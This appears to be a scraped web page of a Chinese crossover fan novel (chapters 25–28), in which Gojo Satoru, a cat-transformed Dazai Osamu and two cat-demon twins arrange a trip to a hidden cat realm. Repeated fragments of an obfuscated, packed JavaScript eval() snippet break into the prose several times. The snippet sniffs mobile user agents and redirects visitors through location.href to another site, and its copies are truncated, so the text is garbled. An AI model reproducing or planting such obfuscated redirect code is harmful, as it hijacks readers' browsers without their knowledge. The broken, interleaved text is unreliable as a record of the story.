d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623755|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地思考,思考该该怎么从钦定的冤大头那里顺利又安全地……坑钱。 与此同时,不知道‘危险’逼近的五条悟还在同沢田纲吉聊天,聊他今天和太宰猫一起经历的一些事情,聊得那叫一个眉飞色舞,似乎纲吉刚刚发现的不愉快只是一件小事,过去了也就过去了。 在太宰猫‘想念’他的时候,他也正好说到太宰猫,说这只坏猫不知道为什么很喜欢抓烂他的衣服,猫行为人负责,所以他会去找人要账。 纲吉总觉得他说这句话的语气似乎有那么点意味深长。 就在这一刻,身处二楼的太宰治和身处一楼的五条悟,同时打了个喷嚏。 * 第二天,因为是周六,所以不用去学校上课的沢田纲吉得以留在家里。 一大早,他就坐到了书房里的电脑椅上,聚精会神地看着面前屏幕上的某个页面,似乎在研究着什么。 另外一人一猫窝到了客厅的沙发那里,五条悟团着双腿,黑猫卧在他腿上。 五条悟一只手按住黑猫让他动弹不得,另一只手上抓着一把桃木梳子,一下一下地给睡得毛发蓬乱的他梳毛,从前到后,从上到下,仔仔细细,认认真真。 黑猫抿着嘴,像个玩具一样任人施为,一双鸢色的眼睛没精打采地半睁着,视线低垂,眼神麻木不仁。 这已经是第几次了他记不太清。 他本人是个自己在哪天说了什么话,做了什么事都能记得一清二楚,甚至可以把某一天某一段话中的一个字和另外一天另外一段话中的字拼接在一起,再改编成密码的人,竟然不会记得这是被五条悟抓住并强行帮他梳毛的第几次。 也许这就是传说中的失忆大法吧。 按在头顶的那只大手很有存在感,身下被他当成垫子的大腿也很有存在感,时间长了后,和人体接触的地方似乎连温度都升高了,上下一起,烫得人想赶紧逃跑。 梳子一下一下地顺毛刮在背上,五条悟的力道掌控得不错,不轻也不重,猫咪的本能让他觉得很舒服,人类的本能又叫他抗拒不已。 在两种感觉中来回拉扯,太宰只觉得自己似乎在不知不觉中陷入了水深火热的境地,越发耷拉起一张猫脸。 都怪五条悟! 他到底知不知道他在接触的不是一只猫,而是一个人!还能不能有一点分寸感了? 一阵悦耳的门铃声及时响起,打断了太宰的怨念。 头顶的梳子也在同一时间停住动作,黑猫眼睛一亮,身体努力挣扎起来,放在他头顶的那只手在这个时候也配合着放轻了力道,得以让他半抬起头,用亮晶晶的眼睛望向五条悟。 他的眼神里面满是催促——赶紧放开他去开门啦! “正好梳好啦~”五条悟放下梳子,欣赏地看了一眼自己的杰作后,大发慈悲地抬起按住太宰的大手。 就在他完全松开手的一刹那,黑猫刺溜一下就滑了出去,三步并作两步地往外蹿出老远,地板差点都被他的爪子划拉得冒出火星子。 但黑猫没能跑出客厅,在接近出口十米远的地方,他被五条悟轻而易举地捞了起来。 摸了一把自己梳好的猫猫头,五条悟带着他一起走向玄关。 太宰的眼神死掉了。 不一会儿,咔的一声响起,大门被五条悟打开。 一声充满无助、音调错乱的尖利悲鸣突然贯穿了一人一猫的耳膜:“为什么来的会是你啊?!!” 25.别打,是误会啊! 瞧见来人是谁,二话不说,抱着黑猫的五条悟照面就是一拳头,狠狠击中那人的鼻子,打得他鼻下两管鲜血长流。 站在门前的左耳被当面一拳打得脑袋往后仰,身体也踉跄着往后退了一步,他一只手捂着鼻子,神色难掩痛楚。 鲜血哗啦啦地从他的指缝间溜了出来,鼻子也酸痛不已,这份熟悉的感觉唤醒了他的记忆,昨晚上被这人当成免费沙包狠狠打了一顿的痛苦顿时自脑海中浮现出来。 他的眼眶周围还残留着一点青紫没有恢复呢! ——刚出新手村就遇到了顶级大boss该怎么办?在线等,很急! 眼见五条悟又扬起了手,戴上了痛苦面具的左耳立马蹬蹬蹬地连续后退几步,退到另一位和他长得一摸一样的青年身边,难以置信地抓着他的袖子崩溃大叫:“为什么抢猫犯你会出现在这里啊?!!” 五条悟左手抱着太宰猫,空着的右手手腕转动,发出令人毛骨悚然的咯吱声。 “你说——”他盯着左耳,缓缓咧开嘴角,露出一个狂放的笑容,大步向他走去,“是为什么呢?” 左耳浑身一震,“你别过来!” 五条悟当然不会听他的。 如同和昨晚复刻一样的情形发生在面前,左耳倒吸了一口冷气,脚步一转,整个人颤颤巍巍地缩到了右耳的身后,只露出一个姜黄色的脑袋顶。 ——救命!再不给个办法,他就要被这个顶级大boss细细切做臊子,一锅烩了啊!!! “我们明明想找的是一个名叫五条悟的人类和一只叫太宰治的黑猫,结果又遇到了这个恐怖的怪力人类。”他用食指一下一下地戳着右耳的背,哭丧着脸小声嘀咕道,“右耳,根本打不过啊,我们干脆逃跑吧?” “左耳……”对于他的这番表现,右耳那是一口气哽在喉咙里,咽又咽不下去,吐又吐不出来,最后只得无力地叹了一声,单手捂着脸道:“你用自己的脑子好好想想。” “什么嘛,我一直有用脑子的说,那只黑猫就是我们要找的太宰治,我昨天晚上就发现了。” “别戳了,”右耳反手拂掉戳在他背上的手指,“能在玲小姐给的地址这里遇到他们两个,只有一种可能,不会有另外的可能了吧?” “什么?”左耳抖了抖人类看不见的耳朵,“至于那个抢猫犯……” 盯着一手抱着黑猫信步走过来的高个银发青年,左耳的声音越来越小,眼神也在慢慢地发生微妙的变化,“那个抢猫犯……” 他突然一脸恍然大悟,抖着手指大叫:“原来你就是我们要找的五条悟!” 看着一步步持续接近,压迫感越来越强的高个子人类,左耳双手乱舞,慌得不成样子,“等等抢猫犯……啊不是,是误会!” “什么误会?没有误会,你不是说让我等着吗?说什么你总有一天会回来找我。”五条悟挑了挑眉,脸上扬起一个猎人见到猎物的邪笑,“这不就让我等到了嘛~” “来来来,我们再来打一架,看看是你的脸硬还是我的拳头更硬。” 左耳:○| ̄|_ 眼见沙包那么大的拳头越过身前神色突然大变的右耳猛地向他袭来,左耳突然抱着头蹲下,睁着眼睛大喊一声:“对不起!” 凌厉的拳风已然吹到了他的脸上,连额前的几缕刘海都被吹了起来,左耳认命地闭上眼睛,可痛苦并没有如他意料的那般降临在身上。 左耳:? 他小心翼翼地睁开一只眼睛,一寸之外就是五条悟的拳头,带来的阴影几乎要覆盖住他的整个脸部。 旁边转过身,踏前一步的右耳放下伸出去的手,先前那一拳是左耳自找的,但现在他已经道歉,如果五条悟继续咄咄逼人,他也不会干看着他挨打。 放下心后,他开始回味五条悟打出来的这一拳,速度快到轻易越过他的防线,这么快的拳速,却又停下得这么轻而易举,这个人类的体术是真的很强,比族里教他们体术的那位老师还要厉害。 他可是看见了,左耳喊对不起的那一刻,五条悟的拳头已经快要打到了他的脸上,但他在左耳道歉的下一刻就骤然停下拳头。 动作没有一点迟疑也没有一点缓冲,重力加速度在他的拳头上仿佛不存在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635614|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,说停下来就停下来。 这可不像平时收拳那么简单,当时那一拳已经是加速到最快的程度,好比覆水难收,但五条悟硬是靠着自己对身体的掌控能力,做到了把倒出去的水收回来。 其中要控制的地方涉及到各个参与发力的身体部位,而且必须要做到完美控制,这种控制可不是谁都能简单做到的,他自忖自己就做不到这一步。 抱头蹲防的左耳呼出一口气,从五条悟的手臂前往旁边挪开一步,悄摸摸地瞧他一眼,见他似乎没有要生气的样子就再挪一步,然后再瞧他一眼……最后整个人平移出一人距离,擦着额间渗出的汗液站了起来。 见他已经站起来,五条悟收回手,还待再放些狠话然后让他们滚,突然感觉被抱在怀里的黑猫挠了一下。 不明所以的他低头,和太宰猫对视一眼,随即咽下就要说出口的话,转身一言不发地向着大门走去,却在经过玄关时停了一停,侧过头,冷着脸道:“你们俩都进来吧。” 被留在原地的左耳挠了挠头,紧张兮兮地凑到右耳身边,“没问题吗,右耳哥?” 他是真·受到了血的教训,这会儿鼻子还在往下流血呢,不过因为不同于普通人类的强韧体质,他的自愈能力不错,鼻子已经比初受打击的时候好很多,再过一会儿也就痊愈了。 至于眼眶处还残留着的一点青紫,那是因为眼睛部位本就比较脆弱,昨晚受的伤也比现在更重,即使是以他的自愈能力,短短一夜时间也不足够完全痊愈。 右耳望着五条悟的方向,是一副若有所思的样子。 听见左耳的话后,他的左边猫耳朵瞬间竖了起来,片刻后缓缓放松,耳朵尖往下耷拉了一点,“没事,我们进去吧。” 左耳顿时放松下来,大喇喇地跨过敞开的房门,走得一点也不带迟疑。 右耳摇了摇头,也跟了进去。 三个人在客厅分主次坐下,五条悟放开黑猫,在胸前抱起双手,眉目间凝着一点不耐烦,率先开口道:“我可没有要招待不速之客的想法哦,你们是来干什么的快点说出来,说完后立刻给我走人。” 26.一见面就爆料 这话说得非常不客气,五条悟也没有要掩饰的想法。 望着他冷漠的眉眼,左耳小心翼翼地将两条微带点哆嗦的腿并拢在一起,藏在桌子底下的手往旁边坐着的右耳身上伸,扯了扯他的衣服。 该说是后遗症还是心理阴影呢?自从被打了两顿之后,光看到五条悟的脸,左耳的身体就会自发产生一阵模模糊糊的幻痛。 不知道哪里痛,就是觉得有点痛,以至于他都有点不敢在五条悟面前说话了。 收到他的信号,右耳小幅度地点了点头,但他并没有转头,而是看着五条悟,一脸认真地说道:“我为左耳昨天晚上对你的挑衅以及冤枉再次道歉。” “对不起!”他站起来鞠了一躬。 左耳立刻跟着起来鞠了一躬并再次道歉。 两个人一并弯腰到九十度,见此,五条悟的神色肉眼可见地放松了一点,语气也缓和下来,“有事说事。” 再次坐下来后,右耳开门见山地道:“我们是受玲小姐属意过来的,目的是找到被你收留的黑猫太宰治并带回去,不知道你知不知道,他有可能是我们猫之一族流落在外的族人。” 闻言,五条悟还没怎么样,左耳先瞪大了眼睛,脖子也几乎转了一个90度的大弯,这一刻,他甚至把对五条悟的惧怕都忘掉了。 脑袋探向右耳附近,他疑惑地小声问道:“右耳哥?” 不是说不能在人类面前暴露他们来自猫之一族这个信息的吗? 右耳单手推开他毛茸茸的脑袋,继续说道:“你应该也知道了吧,我们猫之一族的本体是猫,但可以变成人类的样子,就像这样。” 他的嘴巴动了动,似乎是念了一句什么,但没有声音传出来。 紧接着,他的头顶突然‘长’出一对姜黄色的猫耳朵,左耳朵正常立起,右耳朵没精打采地耷拉着,身后也‘长’出一根细长的同色猫尾巴。 那条调皮的猫尾巴穿过身体,探到了身前,被他抓住捋了捋毛。 左耳为他这大胆的举动再次大吃一惊,没有长老的许可,干出这种事,右耳简直是不要命了。 他不知道的是,猫之一族的长老给他们这种未成年猫妖下禁令,禁止在人类面前暴露身份是为了保护他们,虽然把违反禁令的惩罚说得那么严重,但那也只是在吓唬他们,并不会真的做到那种地步。 但如果没有一个说得过去的理由,至少一个关禁闭是逃不过去的。 “是……是的。”本着和双胞胎兄弟同进退共生死的朴素理念,左耳豁出去了,一口气也解除掉他在人类面前的伪装。 于是两个长着猫耳朵和猫尾巴,眼巴巴望着他的疑似人类出现在了五条悟的面前。 五条悟:“……” 他还没说什么,对方就已经全部缴械投降了。 “哎呀你很敏锐嘛~”一道熟悉的轻快少年音飘了过来,察觉到自己身边的沙发往下凹陷,五条悟往旁边扭头,第三个长着猫耳朵和猫尾巴的疑似人类出现了,还就坐在他身边。 黑猫刚刚不知道躲到哪里去了,这只猫只要他一撒手就一定会消失,简直成了定理,这会儿也是突然就在客厅现身,真可谓是来去如风,自由自在。 太宰治可不知道他在腹诽什么,他将上半身前倾,手肘支在白色岩板茶几上,手掌抵着下颌,看着对面两兄弟的一双鸢色眼眸里闪烁着兴味的光芒:“你们叫什么名字?” 果然吗?右耳望着忽然现出人类模样的太宰治,再瞅了一眼表现得毫不吃惊的五条悟,在门外看到一人一猫的小动作后起意的猜测得到了确认。 才思考了一圈,耳边左耳自我介绍的声音已经停了下来,他便也跟着说出自己的名字。 “猫之左,猫之右……” 你们的父母是根据你们各自耷拉下来的那只异常耳朵给你们起名的吧,太宰的视线在两只长得一模一样,唯独头上耳朵耷拉方向不同的猫妖身上隐晦地流转一圈。 没把这话说出口,他直起身体,笑吟吟地看着右耳:“我是太宰治。” 随后伸出一根手指,戳了一下旁边自他出现后就没说过话的银发青年,“他就是五条悟,你们应该已经知道了。” 他头顶的猫耳朵随着说出来的话语不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640103|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快乐地抖动,他本人却把八成注意力都放到了现场的几个人身上,没有发现这一点。 旁边五条悟的视线落点突兀地高了一截。 情不自禁往上瞟,却又及时把眼神拉回来的左耳和右耳点点头。 “听说你们是被玲叫过来找我的。”从说这句话开始,太宰脸上的笑容就消失了。 他缓缓别过头,只留给他们一个忧郁的侧脸,飘出来的声音里也似乎隐约带着一点怨愤,“不和我们说一声就突然消失,又突然让你们过来找我,玲……” “那个,”左耳的上半身猛地往太宰的方向前倾了一截,“玲小姐是被千酱强制带回去的,不是自己想要突然消失的!” 同时,他的尾巴啪啪地拍打在沙发上,看着太宰的琥珀色眼睛里也溢满焦急,“能请你不要怪她吗?” “是的,玲小姐被带回来后就一直被关在她自己的屋子里,手机也被收走了,千酱不允许她联系外界。”右耳接着左耳的话解释了一句。 “果然是这样么,”太宰若无其事地转回头,线条优越的正脸上哪有半点左耳他们猜测的委屈和愤懑,语气也一改之前,恢复到正常时候的样子,“那玲没事吧?她的伤势有好转吗?” 左耳:“……” 右耳:“……” 两人都被太宰这翻书一般的变脸速度惊到了。 左耳望着太宰,好一会儿都没回过神来,还是更精明一点的右耳先反应过来,但也一时之间张不开口。 于是,空气静止了大概三秒钟。 “……玲小姐没事,”三秒过后,右耳总算是调整好了状态,“她的伤势今天应该好了一点,我们本身的自愈能力就很不错,族里也有专门负责治疗的猫,只要玲小姐好好休息,很快就会恢复健康的。” “这样啊,”顿了一下,太宰的脸上重新露出了一个笑容,“是说玲应该不只拜托了你们一件事吧,她应该还嘱咐了你们帮她办另一件事,比如——” 他伸出食指,轻点在颊边,同时歪了歪头,“从医院病房里拿到一个绑着蝴蝶结的铃铛,和一包开封了的金平糖?” 27.遛猫需要几个步骤? 太宰一出场,整个谈话的氛围就完全被他掌控住,主动权也不知不觉地来到了他的手里,等到他不给一点缓冲余地地抖出铃铛的秘密,刚接受过一波震撼的两兄弟不由得再次被震住。 左耳的嘴巴张成了O型,眼睛也瞪直了。 你到底是怎么知道的?玲小姐不是说谁都不会猜到的吗?还叫他们尽管放心去拿,没有一点困难,非常简单。 看起来一点也不简单啊! “噗~”太宰被他们脸上一点也不掩饰的惊讶表情逗笑了,即使是性格相较左耳更敏锐一点的右耳,这一刻在他眼里也显露出几分初出茅庐的单纯来。 他眉眼弯弯地说:“铃铛和金平糖都在我们手里,现在就可以交给你们,我也可以跟你们一起回去,正好我有事要找猫之千。” “好耶,这样一来玲小姐交代的两个任务就一下子全部完成了!”单纯的左耳喜笑颜开,身体在沙发上不安分地扭来扭去,就差举起手欢呼了。 太宰笑而不语。 右耳可没法像他那样不想太多,看着说完那句话后就一直保持沉默的太宰,他微微皱了皱眉,不久后似乎想到了什么,试探性地问道:“你有条件?” “对。”太宰脸上的笑容加大了几分,满是赞赏意味地对他点了点头。 右耳:“……你有什么条件?” 总觉得有点不得劲。 太宰满面笑容地说:“不能只我一个人去,我还要带上两个人。” “这个条件……”右耳沉吟着陷入犹豫,虽然长老们没说过不能把外人带到猫之境去,但是那是因为以前没有人想过这种事,从平时长老们对外界警惕又排斥的态度看,这种行为大概率是不被允许的。 但他又想到下周三族里打算开办的庆典,到时候拿到邀请函的人都可以去猫之境,不分外人还是内人,也就是说,在那一天外人也可以去猫之境。 这是所有长老们一起定下的大事,应该不会临时取消。 太宰要求的这个条件,只要他拿到两张邀请函就够了,邀请函虽然他现在身上没有,但他可以去找负责此事的同族,唯有一点麻烦的是,猫之境在他出来后就被关闭了,这几天他都回不去,也就是说这段时间内他找不了负责发送邀请函的猫。 这样的话,他就必须从其他渠道拿到邀请函才行,现在离下周三还有几天,有了这段时间的缓冲,他可以想办法弄来两张邀请函。 捋清思绪,右耳抬起头,如释重负地呼出一口气:“我答应你,我们回去的日子就定在下周三,可以吗?” “启程日期定在下周三……”太宰若有所思地摸了摸下巴,这个日期稍微有一点特殊,如果他们还有其他事情要办,那就不可能给自己定一个明确的日期,事情临时出意外没办完怎么办? 如果没有事要做,一般周六日才是一个启程的好日子,就算周六日在他们的习俗里不代表放假,也不应该会定下一个和今天隔了好几天的日子。 夜长梦多这个道理左耳……,他瞟了还在傻乐的左耳一眼,左耳可能不知道,但如此敏锐的右耳必定知道。 是因为那一天有什么大事要发生?说起大事,猫之一族最近的大事应该只有举办庆典这件事,这件事甚至上了【恶魔在召唤你】频道,几乎可以说是举世皆知,庆典的规模必定很庞大。 一系列的思考说来很长,但在太宰的脑海里只是一瞬间的事,下一刻他就笃定地反问:“那一天是你们举办庆典的日子?” 没等右耳做出反应,太宰接着说道:“让你们多带两个人回去,你却要花那么长的时间思考利弊,说明这件事对你来说很为难,也就是说猫之境不欢迎外人,但你却答应了我……” “哎呀是因为庆典那天外人也可以名正言顺地进去吧?” 全部猜对了! 右耳的眼球差点瞪出眼眶,嘴巴不知不觉张开,连呼吸也屏住了,一时之间,他不禁怀疑起对面微笑着侃侃而谈的人是不是有读心术。 如果没有的话,他神色复杂地望着太宰,敏锐这个评价,应该送给你自己才对。仅仅只是靠着他刚说出口的一句话,就猜出了他大部分没有说出来的隐藏信息,他现在……大概达不到这种程度吧? 还有一点,他刚刚在心里算过,自己只花了一分钟左右的时间思考,这也能被叫做那么长的时间……吗? “看来我全部说对了。”不用他说什么,太宰单只看着他的表情变化,就露出一个成竹在胸的微笑。 随后却轻描淡写地否定了他的提案,“但庆典当天不行,我们最好是在这个周末启程哟~” 他的语气虽然轻佻,但却充满了不容人拒绝的意味。 被断然否定的右耳有点跟不上他的节奏,沉默下来。 从两人谈条件开始就一句话都插不上嘴的左耳竖起耳朵,悄摸摸地小幅度侧头撇了一眼右耳,他的双胞胎兄弟此刻微低着头,半截牙齿咬着下嘴唇,脸上隐隐带着点不甘,随后又瞧了一眼太宰,这人的脸上始终保持着笑容。 来回偷瞄了几眼后,左耳不禁在心里抱着脑袋土拨鼠尖叫。 甘拜下风,我甘拜下风了啊! 这哪里是被猫抛弃在人类世界的小可怜幼崽啊,这根本就是大魔王吧! 玲小姐你到底是给自己戴了多少层滤镜才能眼瘸到这种程度啊?!! 这一系列对话下来,完全颠覆了他们从玲那儿得来的对太宰的初印象。 “也就是说你想在今天或者明天启程,”右耳抬起头,脸色已然恢复冷静,仅仅是微微皱起眉头,似乎整理好了自己差点被打击到崩溃的心绪,“为什么?为什么庆典当天不行?” “因为我要带上的两个人,”太宰用眼角余光斜视一眼旁边一直没说话,不知道在想什么的五条悟,“就只有今明两天有空啊~” 右耳本来严肃到慎重的脸一下子垮了下来。 就这种原因?!!还以为像他这样聪明的人必定有什么天大的理由必须在这两天启程呢! “再说了,在庆典当天启程,你有考虑过我们这么多人一起上路会拉慢行程速度吗?”太宰随口说道,“也许等我们到达目的地,你们的庆典都已经结束了呢~” 听到这话,右耳微怔,眼睛里泛起恍然的光芒,一改刚刚非暴力不合作的神色,郑重起来,“……这确实是一个必须考虑进去的问题。” 紧接着他皱起眉头,“但是,这几天猫之境关门了,我们就算提前过去了也进不去。” 看着太宰面上明显的疑惑神色,右耳解释道:“猫之境就是我们要回去的地方,我们猫之一族都住在猫之境里,在人类世界出现的少部分同族一般是因为好奇或者别的原因出来历练的,大部分同族都不会出来。” “那玲呢?”太宰眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650893|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低垂,指骨轻轻敲在茶几面上,发出规律的叮叮声,“她现在在并盛中学上学,学籍和履历都有完整的证据链,经得起深度调查。” “看她的样子,她还打算继续上学,分明是想按照人类的步调成长和生活。” 太宰抬起鸢眼,剔透的视线似乎透过对面两人看着不在这里的那位,“人类这一生虽然最多百年多点时间,但一个猫妖想着把少说几十年的时间,甚至更长的时光白白扔进这里,这恐怕……并不是历练一词可以概括了的吧。” “我猜,她待在人类世界的时间说不定会比她在猫之境待的时间还长呢~” “她是特例。”右耳脱口而出,随后他看了一眼太宰,又迟疑着解释了一句,“听说玲小姐的父母里有一方是人类,所以才会这样。” 人类和猫妖的结合吗?那个铃铛…… 太宰垂下眼帘,纤长的眼睫挺翘而浓密,遮住他眼眸里的所有深思,片刻后他抬起头,一脸笑容地道:“猫之境关门了也没关系,就当是一次野营吧,庆祝我们几个人的相遇。” “而且,像猫之境这样神奇的地方,我还从没去过呢,就让我见识一下吧~” 左耳的眼底迅速积蓄起泪光,差点就要落下泪来。 听听,听听他这话,说得多可怜啊! 从猫之境意外流落在外的幼崽,在人类世界颠沛流离,一天天过着朝不保夕的生活,说不定还会像他听过的恐怖故事里那样被人类随意收养又随意抛弃。 好可怜,左耳擦着湿润的眼角想。 直到被玲小姐找到的那一刻,他才有了一丝归家的可能,一直以来,他一定都在心里想着如果自己有家就好了,所以在听到自己的家就是猫之境后,才会想要好好见识一下那里是什么样吧。 呜,他这样笑着说话,难道是在用笑容掩饰自己的悲伤吗?太坚强了崽! 他将举起双手双脚,来表示对这位生性坚强的幼崽的强烈支持。 ——曾经想过的大魔王什么的,在太宰开口之后就被他以迅雷不及掩耳之势忘了个干干净净。 和他有同样错觉,但症状比他轻得多的右耳也有点顶不住,他举起手,握拳在嘴边,掩饰性地咳嗽一声,“那好吧,我们明天就启程,这样行吗?” 太宰点了点头。 接着几人商议好具体启程的地点和时间以及一些其他琐事,左耳和右耳就表示他们今天还有事要做,先告辞了。 等到两个不速之客离开,太宰转过头去瞧今天表现得有点奇怪的五条悟,银白发色的男人正看着他,脸上满是复杂之色。 “……有什么想和我说的快点说哦,”太宰扬了扬下巴道,“还有大概两分钟时间。” “太宰你想在明天启程,原因不只是和他们说的那样吧。”肯定地说完这句后,不等太宰答话,五条悟思考着继续说道:“但你对他们说的都是真话……部分真话也是真话。” “最可怕的是,你仅仅用这部分真话就引导了整个话题的走向,让他们按照你设计的思路思考,最后成功达成了你的目的。” 太宰呼吸一滞,脸上的笑容渐渐消失,不笑的他浑身透露出一股倦怠和寒冰交加的气息,他别过脸,视线低低垂落,焦点不知落在哪个遥远的地方。 “那你开始害怕我了?”过了一会儿后,他声音平静地说:“现在才说这种话已经有点迟了哦~” 28.昏君的快乐 一不小心,暴露得有点多了呢,太宰垂着脑袋想。 来到陌生世界的茫然、害怕回不去侦探社的恐惧、对横滨大家的担心、变成这种奇怪形态的不适……种种负面情绪糅杂在一起,变作混乱的一团,压在心里头沉甸甸的。 那千斤巨石般的一团被他独自藏在心底,展现在人前的,永远是一个笑着的,不管遇到什么都镇定自若,仿佛没什么大不了的太宰治。 但那些负面情绪其实并没有消失,只是被他统统粗暴地镇压在了心底而已。 再加上一天时间过去,他突然发现又一柄达摩克利斯之剑出现了——本来一天之内自己由猫变成人类的时间就很短暂,这样短暂又宝贵的时间却也开始随着时间的推移逐渐减少…… 说不定就在下一个明天,他连人类都做不了,永远只能做一只猫。 这柄实在太过锋利的利剑,其剑尖锋芒已然悬在了他的眉间,几乎要刺破额心,叫他流出血来。 他握着利剑的尖端,仿佛感知到了它在时时刻刻地告诫着他,他能行动的时间不多了,再不做点什么,也许有什么东西就永远无法挽回了。 所以他只能抓住一切机会行动,甚至都没顾得上在五条悟面前多遮掩几分。 所以,会造成今天这种结果也是应该的吧。 他是知道的哦,有些人类会害怕超出自己掌控的智慧,而极端的害怕会慢慢发展成排斥和厌恶。就算是森先生,在当面说出那个对于他来说很可怖的秘密之后,他也有一瞬间感到害怕了呢。 森先生…… 太宰微微蹙起了眉。 现在一想到他就不愉快,如果眼前这个人和森先生一样,那他…… “怎么可能啦~”五条悟一贯自信的声音响起,打断了他即将跑偏的思绪,“说你强大不好吗?我是在夸你诶!” 咒术界的人大多数都只会简单粗暴地办事,五条悟还是第一次见识到像太宰这样的人,和他在武力上的强大不同,太宰虽然武力值不怎么样,但却是另一种层面上的强大。 听见他的话,太宰的表情凝固了一瞬,他转过头,探究地盯着五条悟的脸认真观察,视线从下往上一一划过。 从他微微昂起的下颌开始,到像是涂了一层无色唇膏的嘴唇,再到高挺的鼻梁,最后是那双清凌凌的苍蓝色眼睛。 五条悟脸上的每一根线条,每一个微表情,都在说他没说谎,他是真心实意这么认为的。 那双流光溢彩的眼眸,像是被雨水冲刷过后的天空一样,没有一丝阴霾,更没有一丝一毫的虚情假意。 看着他,太宰不由得微笑起来,好吧,就今天一天,我不坑你了。 “等等,我像是那种因为别人的能力强就害怕的人吗?”五条悟说着说着突然生起气来,他板起脸,不满地道:“太宰你就这样想我?” 太宰:“……” 太宰:哎呀盲生你发现了华点哦,恭喜!你可真是个小机灵鬼呢。 宽阔的客厅里,只听见一个人扯着嗓子嚷嚷的声音:“上次也是,这次也是,你不给我个交代我跟你没完!” 上次是哪一次啊?太宰有点莫名其妙,但看着五条悟的脸色,他总归是没问出来。 虽然有点怀疑这家伙是在借题发挥,但太宰心情很好,就大度地不计较这一点了,只是交代什么的…… 他完美的笑容变得有点勉强,幸运的是,下一刻他就不用想着该怎么给五条悟交代了——他变回了一只黑猫。 大概只有在这种时刻,太宰才会庆幸自己身上还中了这么一招吧。 眼见太宰变成这样,五条悟气不打一处来,开始喵喵咧咧。 以他这几天和太宰猫相处得来的浅薄经验,一般这种时候,太宰猫就该以迅雷不及掩耳之势逃离现场了,无视他跑路向来是这只可恨的黑猫的拿手好戏。 可是,手边忽然有温暖又柔软的触感传来,毛绒绒的像是云朵一样。 蓦地闭上嘴,五条悟慢慢低下头,他的手边,正安静地卧着一只黑猫。 黑猫团着身子,四肢蜷起在身体底下,头压在爪子上,最出彩的那双鸢色眼睛没有看他,而是半闭着,身体一侧浅浅挨在他的手掌边。 从他身上散发出的热量,一点一点沾染到他的手掌上,他似乎听到了黑猫平静的心跳声,和着微不可闻的呼吸声一起传到他的耳边。 太宰牌黑猫这么温顺的样子可不多见,而且还是出现在面对他的时候。 “我原谅你了。”五条悟极力抿着差点要扬出天际的嘴角,故作冷静地道:“如果这就是你给我的交代,那我就勉强接受一下好了~” “你以后要乖一点哦,我对你的要求不高,只要在我面前一直保持现在这种态度就可以了,当然你想更……哔哔哔……哔哔哔……哔哔哔……” 太宰猫:“……” 叽里咕噜在说什么呢? ——不想听的话被他自动转换成了哔。 一口气不停歇地说了一大堆不高的要求后,五条悟舔了舔嘴,兴致勃勃地再次张开嘴,就在这时,太宰猫突然站起来,往外迈出一步。 毛绒绒离开的一瞬间,五条悟立刻住嘴,伸手按住黑猫,手动把他调整回刚刚那副挨着他的顺眼模样。 被像个洋娃娃一样手动调整姿势的太宰猫抬起眼帘,懒懒地瞪了他一眼,既没有伸爪子,也没有再折腾,而是无声地依从了。 直到中午吃饭时,五条悟才在餐厅瞧见沢田纲吉,他的模样似乎憔悴了不少,眼眶周围隐隐乌黑了一圈,下楼的架势仿佛要赶去投胎。 饭后,五条悟拉着纲吉聊天,主要是要通知他左耳和右耳的到访以及他们预定明天启程前往猫之境这两件事情,同时告知如果他有什么顾虑的话,可以尽早说出来。 但听说了这些事,纲吉只是点点头,说让他们自己看着办,随后没说几句话就又急匆匆地往二楼赶。 看着他的背影,五条悟都有点好奇了:“不是放假了吗?纲吉都在他的房间里躲了一上午,他有很重要的事情要做?怎么不跟我说?” 太宰猫没理他,前爪按在一个羽毛形状的黑色装置上,正好奇地逐个拨弄上面的按钮。 这个装置名为“耳语”,是左耳送给他的见面礼,据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 